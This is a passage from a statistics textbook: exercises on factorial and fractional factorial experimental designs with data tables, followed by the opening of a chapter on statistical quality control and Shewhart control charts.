(a) What type of experimental design has been used?

(b) Analyze the data and draw appropriate conclusions.

Coded levels		
x_1	x_2	y
−1	−1	13.71
1	−1	14.15
−1	1	12.87
1	1	13.53
−1	−1	13.90
1	−1	14.88
−1	1	12.25
−1	1	13.35

14-74. An article in *Tropical Science* ["Proximate Composition of the Seeds of *Acacia Nilotica* var *Adansonti* (Bagaruwa) and Extraction of Its Protein" (1992, Vol. 32, No. 3, pp. 263–268)] reported on research extracting and concentrating the proteins of the bagaruwa seeds in livestock feeding in Nigeria to eliminate the toxic substances from the seeds. The following are the effects of extraction time and flour to solvent ratio on protein extractability of the bagaruwa seeds in distilled water:

Flour: Solvent Ratio (w/v) (%)	Percentage of Protein Extracted at Time (min)			
	30	60	90	120
3	30.5	45.7	30.5	31.0
	36.9	44.3	29.5	22.1
7	32.9	42.4	28.2	23.5
	37.5	40.9	27.3	34.1
11	29.0	39.5	29.0	29.0
	32.7	43.6	30.5	28.4

All values are means of three determinations.

(a) Test the appropriate hypotheses and draw conclusions using the analysis of variance with $\alpha = 0.5$.
(b) Graphically analyze the interaction.
(c) Analyze the residuals from this experiment.

14-75. An article in *Plant Disease* ["Effect of Nitrogen and Potassium Fertilizer Rates on Severity of Xanthomonas Blight of *Syngonium Podophyllum*" (1989, Vol. 73, No. 12, pp. 972–975)] showed the effect of the variable nitrogen and potassium rates on the growth of "White Butterfly" and the mean percentage of disease. Data representative of that collected in this experiment is provided in the following table.

Nitrogen (mg/pot/wk)	Potassium (mg/pot/wk)					
	30		90		120	
50	61.0	61.3	45.5	42.5	59.5	58.2
150	54.5	55.9	53.5	51.9	34.0	35.9
250	42.7	40.4	36.5	37.4	32.5	33.8

(a) State the appropriate hypotheses.
(b) Use the analysis of variance to test these hypotheses with $\alpha = 0.05$.
(c) Graphically analyze the residuals from this experiment.
(d) Estimate the appropriate variance components.

14-76. An article in *Biotechnology Progress* (2001, Vol. 17, pp. 366–368) reported on an experiment to investigate and optimize the operating conditions of the nisin extraction in aqueous two-phase systems (ATPS). A 2^2 full factorial design with center points was used to verify the most significant factors affecting the nisin recovery. The factor x_1 was the concentration (% w/w) of PEG 4000 and x_2 was the concentration (% w/w) of Na_2SO_4. The range and levels of the variables investigated in this study are presented below. Nisin extraction is a ratio representing the concentration of nisin and this was the response y.

Trial	x_1	x_2	y
1	13	11	62.874
2	15	11	76.133
3	13	13	87.467
4	15	13	102.324
5	14	12	76.187
6	14	12	77.523
7	14	12	76.782
8	14	12	77.438
9	14	12	78.742

(a) Compute an ANOVA table for the effects and test for curvature with $\alpha = 0.05$. Is curvature important in this region of the factors?
(b) Calculate residuals from the linear model and test for adequacy of your model.
(c) In a new region of factor space a central composite design (CCD) was used to perform second order optimization. The results are shown in the following table. Fit a second order model to this data and make conclusions.

Trial	Coded		Uncoded		y
	x_1	x_2	x_1	x_2	
1	−1	−1	15	14	102.015
2	1	−1	16	14	106.868
3	−1	1	15	16	108.13
4	1	1	16	16	110.176
5	−1.414	0	14.793	15	105.236
6	1.414	0	16.207	15	110.289
7	0	−1.414	15.5	13.586	103.999
8	0	1.414	15.5	16.414	110.171
9	0	0	15.5	15	108.044
10	0	0	15.5	15	109.098
11	0	0	15.5	15	107.824
12	0	0	15.5	15	108.978
13	0	0	15.5	15	109.169

14-77. An article in the *Journal of Applied Electrochemistry* (May 2008, Vol. 38, No. 5, pp. 583–590) presented a 2^{7-3} fractional factorial design to perform optimization of polybenzimidazole-based membrane electrode assemblies for H_2 / O_2 fuel cells. The design and data are shown in the following table.

Runs	A	B	C	D	E	F	G	Current Density (CD mA cm^2)
1	−1	−1	−1	−1	−1	−1	−1	160
2	+1	−1	−1	−1	+1	+1	+1	20
3	−1	+1	−1	−1	+1	+1	−1	80
4	+1	+1	−1	−1	−1	−1	+1	317
5	−1	−1	+1	−1	+1	−1	+1	19
6	+1	−1	+1	−1	−1	+1	−1	4
7	−1	+1	+1	−1	−1	+1	+1	20
8	+1	+1	+1	−1	+1	−1	−1	87.7
9	−1	−1	−1	+1	−1	+1	+1	1100
10	+1	−1	−1	+1	+1	−1	−1	12
11	−1	+1	−1	+1	+1	−1	+1	552
12	+1	+1	−1	+1	−1	+1	−1	880
13	−1	−1	+1	+1	+1	+1	−1	16
14	+1	−1	+1	+1	−1	−1	+1	20
15	−1	+1	+1	+1	−1	−1	−1	8
16	+1	+1	+1	+1	+1	+1	+1	15

The factors and levels are shown in the following table.

	Factor	−1	+1
A	Amount of binder in the catalyst layer	0.2 mg cm^2	1 mg cm^2
B	Electrocatalyst loading	0.1 mg cm^2	1 mg cm^2
C	Amount of carbon in the gas diffusion layer	2 mg cm^2	4.5 mg cm^2
D	Hot compaction time	1 min	10 min
E	Compaction temperature	100°C	150°C
F	Hot compaction load	0.04 ton cm^2	0.2 ton cm^2
G	Amount of PTFE in the gas diffusion layer	0.1 mg cm^2	1 mg cm^2

(a) Write down the alias relationships.
(b) Estimate the main effects.
(c) Prepare a normal probability plot for the effects and interpret the results.
(d) Calculate the sum of squares for the alias set that contains the ABG interaction from the corresponding effect estimate.

14-78. An article in *Biotechnology Progress* (December 2002, Vol. 18, No. 6, pp. 1170–1175) presented a 2^{7-3} fractional factorial to evaluate factors promoting astaxanthin production. The data are shown in the following table.

Runs	*A*	*B*	*C*	*D*	*E*	*F*	*G*	Weight Content (mg/g)	Cellular Content (pg/cell)
1	−1	−1	−1	1	1	1	−1	4.2	10.8
2	1	−1	−1	−1	−1	1	1	4.4	24.9
3	−1	1	−1	−1	1	−1	1	7.8	27.3
4	1	1	−1	1	−1	−1	−1	14.9	36.3
5	−1	−1	1	1	−1	−1	1	25.3	112.6
6	1	−1	1	−1	1	−1	−1	26.7	159.3
7	−1	1	1	−1	−1	1	−1	23.9	145.2
8	1	1	1	1	1	1	1	21.9	243.2
9	1	1	1	−1	−1	−1	1	24.3	72.1
10	−1	1	1	1	1	−1	−1	20.5	112.2
11	1	−1	1	1	−1	1	−1	10.8	22.5
12	−1	−1	1	−1	1	1	1	20.8	149.7
13	1	1	−1	−1	1	1	−1	13.5	140.1
14	−1	1	−1	1	−1	1	1	10.3	47.3
15	1	−1	−1	1	1	−1	1	23	153.2
16	−1	−1	−1	−1	−1	−1	−1	12.1	35.2

The factors and levels are shown in the following table.

	Factor	−1	+1
A	Nitrogen concentration (mM)	4.06	0
B	Phosphorus concentration (mM)	0.21	0
C	Photon flux density (u$E\ m^{-2}\ s^{-2}$)	100	500
D	Magnesium concentration (mM)	1	0
E	Acetate concentration (mM)	0	15
F	Ferrous concentration (mM)	0	0.45
G	NaCl concentration (mM)	Optimal haematococcus medium	25

(a) Write down the complete defining relation and the aliases from the design.
(b) Estimate the main effects.
(c) Plot the effect estimates on normal probability paper and interpret the results.

14-79 The rework time required for a machine was found to depend on the speed at which the machine was run (*A*), the lubricant used while working (*B*), and the hardness of the metal used in the machine (*C*). Two levels of each factor are chosen and a single replicate of a 2^3 experiment is run. The rework time data (in hours) are shown in the following table.

Treatment Combination	Time (in hours)
(1)	27
a	34
b	38
ab	59
c	44
ac	40
bc	63
abc	37

(a) These treatments cannot all be run under the same conditions. Set up a design to run these observations in two blocks of four observations each, with *ABC* confounded with blocks.
(b) Analyze the data.

14-80 Consider the following results from a two-factor experiment with two levels for factor *A* and three levels for factor *B*. Each treatment has three replicates.

A	*B*	Mean	StDev
1	1	21.33333	6.027714
1	2	20	7.549834
1	3	32.66667	3.511885
2	1	31	6.244998
2	2	33	6.557439
2	3	23	10

(a) Calculate the sum of squares for each factor and the interaction.
(b) Calculate the sum of squares total and error.
(c) Complete an ANOVA table with *F*-statistics.

14-81. Consider the following ANOVA table from a two-factor factorial experiment.

Two-way ANOVA: y versus A, B

Source	DF	SS	MS	F	P
A	3	1213770	404590	?	0.341
B	2	?	17335441	58.30	0.000
Error	?	1784195	?		
Total	11	37668847			

(a) How many levels of each factor were used in the experiment?
(b) How many replicates were used?
(c) What assumption is made in order to obtain an estimate of error?
(d) Calculate the missing entries (denoted with "?") in the ANOVA table.

14-82. An article in *Process Biochemistry* (Dec. 1996, Vol. 31, No. 8, pp. 773–785) presented a 2^{7-3} fractional factorial to perform optimization of manganese dioxide bioleaching media. The data are shown in the following table.

Runs	*A*	*B*	*C*	*D*	*E*	*F*	*G*	Manganese Extraction Yield (%)
1	−1	−1	−1	−1	−1	−1	−1	99.0
2	1	−1	−1	−1	1	−1	1	97.4
3	−1	1	−1	−1	1	1	1	97.7
4	1	1	−1	−1	−1	1	−1	90.0
5	−1	−1	1	−1	1	1	−1	100.0
6	1	−1	1	−1	−1	1	1	98.0
7	−1	1	1	−1	−1	−1	1	90.0
8	1	1	1	−1	1	−1	−1	93.5
9	−1	−1	−1	1	−1	1	1	100.0
10	1	−1	−1	1	1	1	−1	98.6
11	−1	1	−1	1	1	−1	−1	97.1
12	1	1	−1	1	−1	−1	1	92.4
13	−1	−1	1	1	1	−1	1	93.0
14	1	−1	1	1	−1	−1	−1	95.0
15	−1	1	1	1	−1	1	−1	97.0
16	1	1	1	1	1	1	1	98.0

The factors and levels are shown in the following table.

	Factor	−1	+1
A	Mineral concentration (%)	10	20
B	Molasses (g/liter)	100	200
C	NH_4NO_3 (g/liter)	1.25	2.50
D	KH_2PO_4 (g/liter)	0.75	1.50
E	$MgSO_4$ (g/liter)	0.5	1.00
F	Yeast extract (g/liter)	0.20	0.50
G	$NaHCO_3$ (g/liter)	2.00	4.00

(a) Write down the complete defining relation and the aliases from the design.
(b) Estimate the main effects.
(c) Plot the effect estimates on normal probability paper and interpret the results
(d) Calculate the missing entries (denoted with "?") in the following ANOVA table from Minitab with two-way interactions.

Source	DF	SS	MS	F	P
Main Effects	7	95.934	13.7049	?	?
2-Way Interactions	7	67.884	?	53.69	0.105
Residual Error	1	?	?		
Total	15	163.999			

MIND-EXPANDING EXERCISES

14-83. Consider an unreplicated 2^k factorial, and suppose that one of the treatment combinations is missing. One logical approach to this problem is to estimate the missing value with a number that makes the highest order interaction estimate zero. Apply this technique to the data in Example 14-5, assuming that *ab* is missing. Compare the results of the analysis of these data with the results in Example 14-5.

14-84. What blocking scheme would you recommend if it were necessary to run a 2^4 design in four blocks of four runs each?

14-85. Consider a 2^2 design in two blocks with *AB* confounded with blocks. Prove algebraically that $SS_{AB} = SS_{\text{Blocks}}$.

MIND-EXPANDING EXERCISES

14-86. Consider a 2^3 design. Suppose that the largest number of runs that can be made in one block is four, but we can afford to perform a total of 32 observations.

(a) Suggest a blocking scheme that will provide some information on all interactions.

(b) Show an outline (source of variability, degrees of freedom only) for the analysis of variance for this design.

14-87. Construct a 2^{5-1} design. Suppose that it is necessary to run this design in two blocks of eight runs each. Show how this can be done by confounding a two-factor interaction (and its aliased three-factor interaction) with blocks.

14-88. Construct a 2_{IV}^{7-2} design. Show how this design may be confounded in four blocks of eight runs each. Are any two-factor interactions confounded with blocks?

14-89. Construct a 2_{IV}^{7-3} design. Show how this design can be confounded in two blocks of eight runs each without losing information on any of the two-factor interactions.

14-90. Set up a 2_{III}^{7-4} design using $D = AB$, $E = AC$, $F = BC$, and $G = ABC$ as the design generators. Ignore all interaction above the two factors.

(a) Verify that each main effect is aliased with three two-factor interactions.

(b) Suppose that a second 2_{III}^{7-4} design with generators $D = -AB$, $E = -AC$, $F = -BC$, and $G = ABC$ is run. What are the aliases of the main effects in this design?

(c) What factors may be estimated if the two sets of factor effect estimates above are combined?

14-91. Consider the square root of the sum of squares for curvature and divide by the square root of mean squared error. Explain why the statistic that results has a t distribution and why it can be used to conduct a t test for curvature that is equivalent to the F test in the ANOVA.

IMPORTANT TERMS AND CONCEPTS

Analysis of variance (ANOVA)
Blocking and nuisance factors
Center points
Central composite design
Confounding
Contrast
Defining relation
Design matrix
Factorial experiment
Fractional factorial design
Generator
Interaction
Main effect
Normal probability plot of factor effects
Optimization experiment
Orthogonal design
Regression model
Residual analysis
Resolution
Response surface
Screening experiment
Steepest ascent (or descent)
2^k factorial design
Two-level factorial design

15

©doc.stock/©Corbis
Courtesy of Mike Johnson, www.redbead.com

Statistical Quality Control

BOWL OF BEADS

The quality guru Edward Deming conducted a simple experiment in his seminars with a bowl of beads. Many were colored white but a percentage of red beads were randomly mixed in the bowl. A participant from the seminar was provided with a paddle made with indentations so that 50 beads at a time could be scooped from the bowl. The participant was only allowed to use the paddle and instructed to only scoop white beads (repeated multiple times with beads replaced). The red beads were considered to be defectives. Of course, this was difficult to do, and each scoop resulted in a count of red beads. Deming plotted the fraction of red beads from each scoop and used the results to make several points. As was clear from the scenario, this process is beyond the participant's ability to make simple improvements. It is the process that needs to be changed (reduce the number of red beads) and that is the responsibility of management. Furthermore, many business processes have this type of characteristic and it is important to learn from the data whether the variability is common, intrinsic to the process or whether some special cause has occurred. This distinction is important for the type of process control or improvements to be applied. Refer to the example of control adjustments in Chapter 1. Control charts are primary tools to understand process variability and that is main topic of this chapter.

CHAPTER OUTLINE

15-1 QUALITY IMPROVEMENT AND STATISTICS
- 15-1.1 Statistical Quality Control
- 15-1.2 Statistical Process Control

15-2 INTRODUCTION TO CONTROL CHARTS
- 15-2.1 Basic Principles
- 15-2.2 Design of a Control Chart
- 15-2.3 Rational Subgroups
- 15-2.4 Analysis of Patterns on Control Charts

15-3 $\overline{X}$ AND R OR S CONTROL CHARTS

15-4 CONTROL CHARTS FOR INDIVIDUAL MEASUREMENTS

15-5 PROCESS CAPABILITY

15-6 ATTRIBUTE CONTROL CHARTS
15-6.1 *P* Chart (Control Chart for Proportions)
15-6.2 *U* Chart (Control Chart for Defects per Unit)
15-7 CONTROL CHART PERFORMANCE
15-8 TIME-WEIGHTED CHARTS
15-8.1 Cumulative Sum Control Chart
15-8.2 Exponentially Weighted Moving Average Control Chart
15-9 OTHER SPC PROBLEM-SOLVING TOOLS
15-10 IMPLEMENTING SPC

LEARNING OBJECTIVES

After careful study of this chapter you should be able to do the following:

1. **Understand the role of statistical tools in quality improvement**
2. **Understand the different types of variability, rational subgroups, and how a control chart is used to detect assignable causes**
3. **Understand the general form of a Shewhart control chart and how to apply zone rules (such as the Western Electric rules) and pattern analysis to detect assignable causes**
4. **Construct and interpret control charts for variables such as $\overline{X}$, R, S, and individuals charts**
5. **Construct and interpret control charts for attributes such as P and U charts**
6. **Calculate and interpret process capability ratios**
7. **Calculate the ARL performance for a Shewhart control chart**
8. **Construct and interpret a cumulative sum and exponentially weighted moving average control chart**
9. **Use other statistical process control problem-solving tools**

15-1 QUALITY IMPROVEMENT AND STATISTICS

The quality of products and services has become a major decision factor in most businesses today. Regardless of whether the consumer is an individual, a corporation, a military defense program, or a retail store, when the consumer is making purchase decisions, he or she is likely to consider quality of equal importance to cost and schedule. Consequently, **quality improvement** has become a major concern to many U.S. corporations. This chapter is about **statistical quality control,** a collection of tools that are essential in quality-improvement activities.

Quality means **fitness for use.** For example, you or I may purchase automobiles that we expect to be free of manufacturing defects and that should provide reliable and economical transportation, a retailer buys finished goods with the expectation that they are properly packaged and arranged for easy storage and display, or a manufacturer buys raw material and expects to process it with no rework or scrap. In other words, all consumers expect that the products and services they buy will meet their requirements. Those requirements define fitness for use.

Quality or fitness for use is determined through the interaction of **quality of design** and **quality of conformance.** By quality of design we mean the different grades or levels of performance, reliability, serviceability, and function that are the result of deliberate engineering and management decisions. By quality of conformance, we mean the systematic **reduction of variability** and **elimination of defects** until every unit produced is identical and defect-free.

Some confusion exists in our society about quality improvement; some people still think that it means gold-plating a product or spending more money to develop a product or process.

This thinking is wrong. Quality improvement means the systematic **elimination of waste.** Examples of waste include scrap and rework in manufacturing, inspection and testing, errors on documents (such as engineering drawings, checks, purchase orders, and plans), customer complaint hotlines, warranty costs, and the time required to do things over again that could have been done right the first time. A successful quality-improvement effort can eliminate much of this waste and lead to lower costs, higher productivity, increased customer satisfaction, increased business reputation, higher market share, and ultimately higher profits for the company.

Statistical methods play a vital role in quality improvement. Some applications are outlined below:

1. In product design and development, statistical methods, including designed experiments, can be used to compare different materials, components, or ingredients, and to help determine both system and component tolerances. This application can significantly lower development costs and reduce development time.
2. Statistical methods can be used to determine the capability of a manufacturing process. Statistical process control can be used to systematically improve a process by reducing variability.
3. Experimental design methods can be used to investigate improvements in the process. These improvements can lead to higher yields and lower manufacturing costs.
4. Life testing provides reliability and other performance data about the product. This can lead to new and improved designs and products that have longer useful lives and lower operating and maintenance costs.

Some of these applications have been illustrated in earlier chapters of this book. It is essential that engineers, scientists, and managers have an in-depth understanding of these statistical tools in any industry or business that wants to be a high-quality, low-cost producer. In this chapter we provide an introduction to the basic methods of statistical quality control that, along with experimental design, form the basis of a successful quality-improvement effort.

15-1.1 Statistical Quality Control

The field of statistical quality control can be broadly defined as those statistical and engineering methods that are used in measuring, monitoring, controlling, and improving quality. Statistical quality control is a field that dates back to the 1920s. Dr. Walter A. Shewhart of the Bell Telephone Laboratories was one of the early pioneers of the field. In 1924 he wrote a memorandum showing a modern control chart, one of the basic tools of statistical process control. Harold F. Dodge and Harry G. Romig, two other Bell System employees, provided much of the leadership in the development of statistically based sampling and inspection methods. The work of these three men forms much of the basis of the modern field of statistical quality control. World War II saw the widespread introduction of these methods to U.S. industry. Dr. W. Edwards Deming and Dr. Joseph M. Juran have been instrumental in spreading statistical quality-control methods since World War II.

The Japanese have been particularly successful in deploying statistical quality-control methods and have used statistical methods to gain significant advantage over their competitors. In the 1970s American industry suffered extensively from Japanese (and other foreign) competition; that has led, in turn, to renewed interest in statistical quality-control methods in the United States. Much of this interest focuses on *statistical process control* and *experimental design*. Many U.S. companies have implemented these methods in their manufacturing, engineering, and other business organizations.

15-1.2 Statistical Process Control

It is impractical to inspect quality into a product; the product must be built right the first time. The manufacturing process must therefore be stable or repeatable and capable of operating with little variability around the target or nominal dimension. Online statistical process control is a powerful tool for achieving process stability and improving capability through the reduction of variability.

It is customary to think of **statistical process control (SPC)** as a set of problem-solving tools that may be applied to any process. The major tools of SPC* are

1. Histogram
2. Pareto chart
3. Cause-and-effect diagram
4. Defect-concentration diagram
5. Control chart
6. Scatter diagram
7. Check sheet

Although these tools are an important part of SPC, they comprise only the technical aspect of the subject. An equally important element of SPC is attitude—a desire of all individuals in the organization for continuous improvement in quality and productivity through the systematic reduction of variability. The control chart is the most powerful of the SPC tools.

15-2 INTRODUCTION TO CONTROL CHARTS

15-2.1 Basic Principles

In any production process, regardless of how well-designed or carefully maintained it is, a certain amount of inherent or natural variability will always exist. This natural variability or "background noise" is the cumulative effect of many small, essentially unavoidable causes. When the background noise in a process is relatively small, we usually consider it an acceptable level of process performance. In the framework of statistical quality control, this natural variability is often called a "stable system of chance causes." A process that is operating with only **chance causes** of variation present is said to be in statistical control. In other words, the chance causes are an inherent part of the process.

Other kinds of variability may occasionally be present in the output of a process. This variability in key quality characteristics usually arises from three sources: improperly adjusted machines, operator errors, or defective raw materials. Such variability is generally large when compared to the background noise, and it usually represents an unacceptable level of process performance. We refer to these sources of variability that are not part of the chance cause pattern as **assignable causes.** A process that is operating in the presence of assignable causes is said to be out of control.†

* Some prefer to include the experimental design methods discussed previously as part of the SPC toolkit. We did not do so, because we think of SPC as an online approach to quality improvement using techniques founded on passive observation of the process, while design of experiments is an active approach in which deliberate changes are made to the process variables. As such, designed experiments are often referred to as offline quality control.

† The terminology *chance* and *assignable* causes was developed by Dr. Walter A. Shewhart. Today, some writers use *common* cause instead of *chance* cause and *special* cause instead of *assignable* cause.

Figure 15-1 A typical control chart.

Production processes will often operate in the in-control state, producing acceptable product for relatively long periods of time. Occasionally, however, assignable causes will occur, seemingly at random, resulting in a "shift" to an out-of-control state where a large proportion of the process output does not conform to requirements. A major objective of statistical process control is to quickly detect the occurrence of assignable causes or process shifts so that investigation of the process and corrective action may be undertaken before many nonconforming units are manufactured. The control chart is an online process-monitoring technique widely used for this purpose.

Recall the following from Chapter 1. Figure 1-11 illustrates that adjustments to common causes of variation increase the variation of a process whereas Fig. 1-12 illustrates that actions should be taken in response to assignable causes of variation. Control charts may also be used to estimate the parameters of a production process and, through this information, to determine the capability of a process to meet specifications. The control chart can also provide information that is useful in improving the process. Finally, remember that the eventual goal of statistical process control is the *elimination of variability in the process*. Although it may not be possible to eliminate variability completely, the control chart helps reduce it as much as possible.

A typical control chart is shown in Fig. 15-1, which is a graphical display of a quality characteristic that has been measured or computed from a sample versus the sample number or time. Often, the samples are selected at periodic intervals such as every hour. The chart contains a center line (CL) that represents the average value of the quality characteristic corresponding to the in-control state. (That is, only chance causes are present.) Two other horizontal lines, called the upper control limit (UCL) and the lower control limit (LCL), are also shown on the chart. These control limits are chosen so that if the process is in control, nearly all of the sample points will fall between them. In general, as long as the points plot within the control limits, the process is assumed to be in control, and no action is necessary. However, a point that plots outside of the control limits is interpreted as evidence that the process is out of control, and investigation and corrective action are required to find and eliminate the assignable cause or causes responsible for this behavior. The sample points on the control chart are usually connected with straight-line segments so that it is easier to visualize how the sequence of points has evolved over time.

Even if all the points plot inside the control limits, if they behave in a systematic or nonrandom manner, this is an indication that the process is out of control. For example, if 18 of the last 20 points plotted above the center line but below the upper control limit, and only two of these points plotted below the center line but above the lower control limit, we would be very suspicious that something was wrong. If the process is in control, all the plotted points should have an essentially random pattern. Methods designed to find

sequences or nonrandom patterns can be applied to control charts as an aid in detecting out-of-control conditions. A particular nonrandom pattern usually appears on a control chart for a reason, and if that reason can be found and eliminated, process performance can be improved.

There is a close connection between control charts and hypothesis testing. Essentially, the control chart is a test of the hypothesis that the process is in a state of statistical control. A point plotting within the control limits is equivalent to failing to reject the hypothesis of statistical control, and a point plotting outside the control limits is equivalent to rejecting the hypothesis of statistical control.

We give a general *model* for a control chart. Let W be a sample statistic that measures some quality characteristic of interest, and suppose that the mean of W is μ_W and the standard deviation of W is σ_W.* Then the center line, the upper control limit, and the lower control limit become

Control Chart Model

$$\begin{aligned} UCL &= \mu_W + k\sigma_W \\ CL &= \mu_W \\ LCL &= \mu_W - k\sigma_W \end{aligned} \tag{15-1}$$

where k is the "distance" of the control limits from the center line, expressed in standard deviation units. A common choice is $k = 3$. This general theory of control charts was first proposed by Dr. Walter A. Shewhart, and control charts developed according to these principles are often called **Shewhart control charts.**

The control chart is a device for describing exactly what is meant by statistical control; as such, it may be used in a variety of ways. In many applications, it is used for online process monitoring. That is, sample data are collected and used to construct the control chart, and if the sample values of $\bar{x}$ (say) fall within the control limits and do not exhibit any systematic pattern, we say the process is in control at the level indicated by the chart. Note that we may be interested here in determining *both* whether the past data came from a process that was in control and whether future samples from this process indicate statistical control.

The most important use of a control chart is to *improve* the process. We have found that, generally

1. Most processes do not operate in a state of statistical control.
2. Consequently, the routine and attentive use of control charts will identify assignable causes. If these causes can be eliminated from the process, variability will be reduced and the process will be improved.

This process-improvement activity using the control chart is illustrated in Fig. 15-2. Notice that:

3. The control chart will only *detect* assignable causes. Management, operator, and engineering *action* will usually be necessary to eliminate the assignable cause. An action plan for responding to control chart signals is vital.

* Note that "sigma" refers to the standard deviation of the statistic plotted on the chart (i.e., σ_W), not the standard deviation of the quality characteristic.

Figure 15-2 Process improvement using the control chart.

In identifying and eliminating assignable causes, it is important to find the underlying **root cause** of the problem and to attack it. A cosmetic solution will not result in any real, long-term process improvement. Developing an effective system for corrective action is an essential component of an effective SPC implementation.

We may also use the control chart as an *estimating device*. That is, from a control chart that exhibits statistical control, we may estimate certain process parameters, such as the mean, standard deviation, and fraction nonconforming or fallout. These estimates may then be used to determine the *capability* of the process to produce acceptable products. Such **process capability studies** have considerable impact on many management decision problems that occur over the product cycle, including make-or-buy decisions, plant and process improvements that reduce process variability, and contractual agreements with customers or suppliers regarding product quality.

Control charts may be classified into two general types. Many quality characteristics can be measured and expressed as numbers on some continuous scale of measurement. In such cases, it is convenient to describe the quality characteristic with a measure of central tendency and a measure of variability. Control charts for central tendency and variability are collectively called **variables control charts.** The $\overline{X}$ chart is the most widely used chart for monitoring central tendency, whereas charts based on either the sample range or the sample standard deviation are used to control process variability. Many quality characteristics are not measured on a continuous scale or even a quantitative scale. In these cases, we may judge each unit of product as either conforming or nonconforming on the basis of whether or not it possesses certain attributes, or we may count the number of nonconformities (defects) appearing on a unit of product. Control charts for such quality characteristics are called **attributes control charts.**

Control charts have had a long history of use in industry. There are at least five reasons for their popularity:

1. **Control charts are a proven technique for improving productivity.** A successful control chart program will reduce scrap and rework, which are the primary productivity killers in *any* operation. If you reduce scrap and rework, productivity increases, cost decreases, and production capacity (measured in the number of *good* parts per hour) increases.
2. **Control charts are effective in defect prevention.** The control chart helps keep the process in control, which is consistent with the "do it right the first time" philosophy.

It is never cheaper to sort out the "good" units from the "bad" later on than it is to build them correctly initially. If you do not have effective process control, you are paying someone to make a nonconforming product.

3. **Control charts prevent unnecessary process adjustments.** A control chart can distinguish between background noise and abnormal variation; no other device, including a human operator, is as effective in making this distinction. If process operators adjust the process based on periodic tests unrelated to a control chart program, they will often overreact to the background noise and make unneeded adjustments. These unnecessary adjustments can result in a deterioration of process performance. In other words, the control chart is consistent with the "if it isn't broken, don't fix it" philosophy.
4. **Control charts provide diagnostic information.** Frequently, the pattern of points on the control chart will contain information that is of diagnostic value to an experienced operator or engineer. This information allows the operator to implement a change in the process that will improve its performance.
5. **Control charts provide information about process capability.** The control chart provides information about the value of important process parameters and their stability over time. This allows an estimate of process capability to be made. This information is of tremendous use to product and process designers.

Control charts are among the most effective management control tools, and they are as important as cost controls and material controls. Modern computer technology has made it easy to implement control charts in any type of process, because data collection and analysis can be performed on a microcomputer or a local area network terminal in real time, online at the work center.

15-2.2 Design of a Control Chart

To illustrate these ideas, we give a simplified example of a control chart. In manufacturing automobile engine piston rings, the inside diameter of the rings is a critical quality characteristic. The process mean inside ring diameter is 74 millimeters, and it is known that the standard deviation of ring diameter is 0.01 millimeters. A control chart for average ring diameter is shown in Fig. 15-3. Every hour a random sample of five rings is taken, the average ring diameter of the sample (say $\bar{x}$) is computed, and $\bar{x}$ is plotted on the chart. Because this control chart utilizes the sample mean $\bar{X}$ to monitor the process mean, it is usually called an $\bar{X}$ control chart. Note that all the points fall within the control limits, so the chart indicates that the process is in statistical control.

Figure 15-3 $\bar{X}$ control chart for piston ring diameter.

Consider how the control limits were determined. The process average is 74 millimeters, and the process standard deviation is $\sigma = 0.01$ millimeters. Now if samples of size $n = 5$ are taken, the standard deviation of the sample average $\overline{X}$ is

$$\sigma_{\overline{X}} = \frac{\sigma}{\sqrt{n}} = \frac{0.01}{\sqrt{5}} = 0.0045$$

Therefore, if the process is in control with a mean diameter of 74 millimeters, by using the central limit theorem to assume that $\overline{X}$ is approximately normally distributed, we would expect approximately $100(1 - \alpha)\%$ of the sample mean diameters $\overline{X}$ to fall between $74 + z_{\alpha/2}(0.0045)$ and $74 - z_{\alpha/2}(0.0045)$. As discussed above, we customarily choose the constant $z_{\alpha/2}$ to be 3, so the upper and lower control limits become

$$UCL = 74 + 3(0.0045) = 74.0135$$

and

$$LCL = 74 - 3(0.0045) = 73.9865$$

as shown on the control chart. These are the 3-sigma control limits referred to above. Note that the use of 3-sigma limits implies that $\alpha = 0.0027$; that is, the probability that the point plots outside the control limits when the process is in control is 0.0027. The width of the control limits is inversely related to the sample size n for a given multiple of sigma. Choosing the control limits is equivalent to setting up the critical region for testing the hypotheses

$$H_0\text{: } \mu = 74$$
$$H_1\text{: } \mu \neq 74$$

where $\sigma = 0.01$ is known. Essentially, the control chart tests this hypothesis repeatedly at different points in time.

In designing a control chart, we must specify both the sample size to use and the frequency of sampling. In general, larger samples will make it easier to detect small shifts in the process. When choosing the sample size, we must keep in mind the size of the shift that we are trying to detect. If we are interested in detecting a relatively large process shift, we use smaller sample sizes than those that would be employed if the shift of interest were relatively small.

We must also determine the frequency of sampling. The most desirable situation from the point of view of detecting shifts would be to take large samples very frequently; however, this is usually not economically feasible. The general problem is one of *allocating sampling effort*. That is, either we take small samples at short intervals or larger samples at longer intervals. Current industry practice tends to favor smaller, more frequent samples, particularly in high-volume manufacturing processes or where a great many types of assignable causes can occur. Furthermore, as automatic sensing and measurement technology develops, it is becoming possible to greatly increase frequencies. Ultimately, every unit can be tested as it is manufactured. This capability will not eliminate the need for control charts because the test system will not prevent defects. The increased data will increase the effectiveness of process control and improve quality.

When preliminary samples are used to construct limits for control charts, these limits are customarily treated as trial values. Therefore, the sample statistics should be plotted on the appropriate charts, and any points that exceed the control limits should be investigated. If

assignable causes for these points are discovered, they should be eliminated and new limits for the control charts determined. In this way, the process may be eventually brought into statistical control and its inherent capabilities assessed. Other changes in process centering and dispersion may then be contemplated.

15-2.3 Rational Subgroups

A fundamental idea in the use of control charts is to collect sample data according to what Shewhart called the **rational subgroup** concept. Generally, this means that subgroups or samples should be selected so that to the extent possible, the variability of the observations within a subgroup should include all the chance or natural variability and exclude the assignable variability. Then, the control limits will represent bounds for all the chance variability and not the assignable variability. Consequently, assignable causes will tend to generate points that are outside of the control limits, while chance variability will tend to generate points that are within the control limits.

When control charts are applied to production processes, the time order of production is a logical basis for rational subgrouping. Even though time order is preserved, it is still possible to form subgroups erroneously. If some of the observations in the subgroup are taken at the end of one eight-hour shift and the remaining observations are taken at the start of the next eight-hour shift, any differences between shifts might not be detected. Time order is frequently a good basis for forming subgroups because it allows us to detect assignable causes that occur over time.

Two general approaches to constructing rational subgroups are used. In the first approach, each subgroup consists of units that were produced at the same time (or as closely together as possible). This approach is used when the primary purpose of the control chart is to detect process shifts. It minimizes variability due to assignable causes *within* a sample, and it maximizes variability *between* samples if assignable causes are present. It also provides better estimates of the standard deviation of the process in the case of variables control charts. This approach to rational subgrouping essentially gives a "snapshot" of the process at each point in time where a sample is collected.

